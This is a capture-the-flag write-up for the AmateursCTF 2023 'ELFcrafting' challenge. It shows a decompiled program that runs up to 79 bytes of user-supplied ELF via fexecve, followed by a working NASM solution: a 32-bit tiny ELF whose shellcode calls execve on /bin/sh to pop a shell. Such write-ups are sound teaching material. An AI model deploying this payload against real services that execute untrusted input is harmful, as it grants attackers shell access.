By: unvariant

Tags: pwn AmateursCTF-2023

Problem Description:


Reveal Hints None

Provided Files

  • chal
  • Dockerfile

chal decompilation

00001289  int32_t main(int32_t argc, char** argv, char** envp)

00001298      int32_t var_7c = argc
000012a6      void* fsbase
000012a6      int64_t rax = *(fsbase + 0x28)
000012c4      setbuf(fp: stdout, buf: nullptr)
000012d8      setbuf(fp: stderr, buf: nullptr)
000012e7      puts(str: "I'm sure you all enjoy doing she…")
000012f6      puts(str: "But have you ever tried ELF golf…")
00001305      puts(str: "Have fun!")
0000130a      int32_t var_6c
0000130a      __builtin_strncpy(dest: var_6c, src: "\x7fELF", n: 4)
00001320      int32_t rax_1 = memfd_create("golf", 0)
0000132c      if (rax_1 s< 0) {
00001338          perror(s: "failed to execute fd = memfd_cre…")
00001342          exit(status: 1)
00001342          noreturn
00001342      }
00001358      void var_68
00001358      int32_t rax_2 = read(fd: 0, buf: &var_68, nbytes: 0x4f)
00001364      if (rax_2 s< 0) {
00001370          perror(s: "failed to execute ok = read(0, b…")
0000137a          exit(status: 1)
0000137a          noreturn
0000137a      }
00001393      printf(format: "read %d bytes from stdin\n", zx.q(rax_2))
000013b2      if (memcmp(&var_6c, &var_68, 4) != 0) {
000013be          puts(str: "not an ELF file :/")
000013c8          exit(status: 1)
000013c8          noreturn
000013c8      }
000013df      int32_t rax_8 = write(fd: rax_1, buf: &var_68, nbytes: sx.q(rax_2))
000013eb      if (rax_8 s< 0) {
000013f7          perror(s: "failed to execute ok = write(fd,…")
00001401          exit(status: 1)
00001401          noreturn
00001401      }
0000141a      printf(format: "wrote %d bytes to file\n", zx.q(rax_8))
00001439      if (fexecve(fd: rax_1, argv, envp) s< 0) {
00001445          perror(s: "failed to execute fexecve(fd, ar…")
0000144f          exit(status: 1)
0000144f          noreturn
0000144f      }
0000145d      *(fsbase + 0x28)
00001466      if (rax == *(fsbase + 0x28)) {
0000146e          return 0
0000146e      }
00001468      __stack_chk_fail()
00001468      noreturn


This challenge uses the same setup as ELFcrafting-v1, except it only allows a maximum of 79 bytes instead of 32. The smallest possible 64 bit binary is 80 bytes, and it should be impossible to go lower unless binfmt.c changes and becomes more permissive. This time the remote actually verifies the ELF signature, so no more shebangs. However the remote does not verify that the binary is actually a 64 bit binary. 32 bit binaries can be as small as 45 bytes, and gives up ample room for our own shellcode to pop a shell.


take from https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html

		BITS 32
		org	0x00010000
		db	0x7F, "ELF"
		dd	1
		dd	0
		dd	$$
		dw	2
		dw	3
		dd	_start
		dd	_start
		dd	4
_start:	mov	al,	11
        jmp	next
		db	0
		dw	0x34
		dw	0x20
		dd	1
next:	mov	ebx,	bin_sh
        int	0x80
bin_sh:	db	"/bin/sh", 0
filesize	equ	$ - $$


You could golf this down further by replacing the _start code with /bin/sh\x00 and relocating _start.


Some people had problems with their solutions because they attempted to load their programs at an address lower than ubuntu’s default vm.mmap_min_addr of 0x10000 which caused their programs to crash.


Zero unintendeds (-^-)